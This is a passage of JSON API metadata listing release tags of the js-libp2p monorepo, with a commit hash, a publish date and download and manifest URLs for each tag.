-libp2p/tags/ping-v3.1.9/manifests"},{"name":"perf-v5.1.9","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.9/manifests"},{"name":"peer-store-v12.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.24/manifests"},{"name":"peer-collections-v7.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.24/manifests"},{"name":"opentelemetry-metrics-v2.0.25","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.25/manifests"},{"name":"multistream-select-v7.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.24/manifests"},{"name":"mplex-v12.0.27","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.27/manifests"},{"name":"memory-v2.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.24/manifests"},{"name":"mdns-v12.0.27","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.27/manifests"},{"name":"libp2p-v3.3.6","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.6/manifests"},{"name":"kad-dht-v16.4.0","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.0/manifests"},{"name":"interop-v14.0.32","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.32/manifests"},{"name":"interface-internal-v3.1.9","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.9/manifests"},{"name":"interface-compliance-tests-v7.0.27","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.27/manifests"},{"name":"integration-tests-v1.2.16","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.16/manifests"},{"name":"identify-v4.1.10","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.10/manifests"},{"name":"gossipsub-v16.0.5","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.0.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.5/manifests"},{"name":"floodsub-v11.0.26","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.26/manifests"},{"name":"fetch-v4.1.9","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.9/manifests"},{"name":"echo-v3.1.9","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.9/manifests"},{"name":"dcutr-v3.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.24/manifests"},{"name":"daemon-v6.0.32","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.32/manifests"},{"name":"daemon-server-v9.0.32","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.32/manifests"},{"name":"daemon-client-v10.0.32","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.32/manifests"},{"name":"circuit-relay-v2-v4.2.9","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.9/manifests"},{"name":"bootstrap-v12.0.27","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.27/manifests"},{"name":"autonat-v3.0.24","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.24/manifests"},{"name":"autonat-v2-v2.1.0","sha":"cf0dbb38a2bc86e4346660c804a873fefbbeab49","kind":"commit","published_at":"2026-07-19T13:57:34.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.0/manifests"},{"name":"webtransport-v6.0.31","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.31/manifests"},{"name":"websockets-v10.1.16","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.16/manifests"},{"name":"webrtc-v6.0.26","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.26/manifests"},{"name":"utils-v7.2.4","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.4/manifests"},{"name":"upnp-nat-v4.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.23/manifests"},{"name":"transport-interop-libp2p-main-v1.0.32","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.32/manifests"},{"name":"tls-v3.1.5","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.5/manifests"},{"name":"tcp-v11.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.23/manifests"},{"name":"simple-metrics-v2.0.18","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.18/manifests"},{"name":"record-v4.0.15","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/record-v4.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/record-v4.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@record-v4.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.15/manifests"},{"name":"prometheus-metrics-v5.0.24","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.24/manifests"},{"name":"pnet-v3.0.24","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.24/manifests"},{"name":"plaintext-v3.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.23/manifests"},{"name":"ping-v3.1.8","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/